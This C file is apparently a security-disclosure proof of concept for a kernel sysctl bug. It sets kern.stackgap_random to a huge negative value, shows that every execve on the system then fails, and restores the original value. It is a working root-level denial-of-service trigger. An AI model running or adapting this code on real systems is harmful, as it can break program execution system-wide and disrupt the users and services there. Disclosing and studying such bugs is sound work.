DF-2754 / stackgap_neg.c
/* DF-2754: sysctl kern.stackgap_random accepts arbitrary negative values * (validation only applies to new_val > 0, kern_exec.c:160-162). execve * then computes a STATIC gap ALIGN(-stackgap_random) (kern_exec.c:1167-1173); * a huge negative value pushes the args/env destination outside the stack * mapping and every subsequent exec fails system-wide until restored. * * This PoC flips the sysctl from inside ONE process, observes a failing * exec, and restores the original value before exiting, so the guest is * never left bricked. Needs root. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/sysctl.h> #include <sys/wait.h> static int get_gap(void) { int v = 0; size_t l = sizeof(v); if (sysctlbyname("kern.stackgap_random", &v, &l, NULL, 0) != 0) { perror("sysctl get"); exit(1);} return v; } static void set_gap(int v) { if (sysctlbyname("kern.stackgap_random", NULL, NULL, &v, sizeof(v)) != 0) { perror("sysctl set"); exit(1);} } static int try_exec(void) { pid_t p = fork(); if (p == 0) { char *argv[] = {"/usr/bin/true", NULL}; execve(argv[0], argv, NULL); fprintf(stderr, " child: execve failed: %s\n", strerror(errno)); _exit(42); } int st = 0; waitpid(p, &st, 0); if (WIFEXITED(st) && WEXITSTATUS(st) == 0) return 0; return WIFEXITED(st) ? WEXITSTATUS(st) : -1; } int main(void) { int orig = get_gap(), r; printf("[*] kern.stackgap_random = %d (original)\n", orig); r = try_exec(); printf("[*] exec /bin/true before: rc=%d (0=ok)\n", r); printf("[*] setting kern.stackgap_random = -1073741824 (-1GB, accepted?)\n"); fflush(stdout); set_gap(-1073741824); printf("[*] sysctl ACCEPTED, now reads %d\n", get_gap()); r = try_exec(); printf("[%c] exec /bin/true after: rc=%d %s\n", r ? '+' : '-', r, r ? "<-- SYSTEM-WIDE EXEC BROKEN" : "(still ok)"); set_gap(orig); printf("[*] restored kern.stackgap_random = %d\n", get_gap()); r = try_exec(); printf("[*] exec /bin/true after restore: rc=%d (0=ok)\n", r); return 0; } |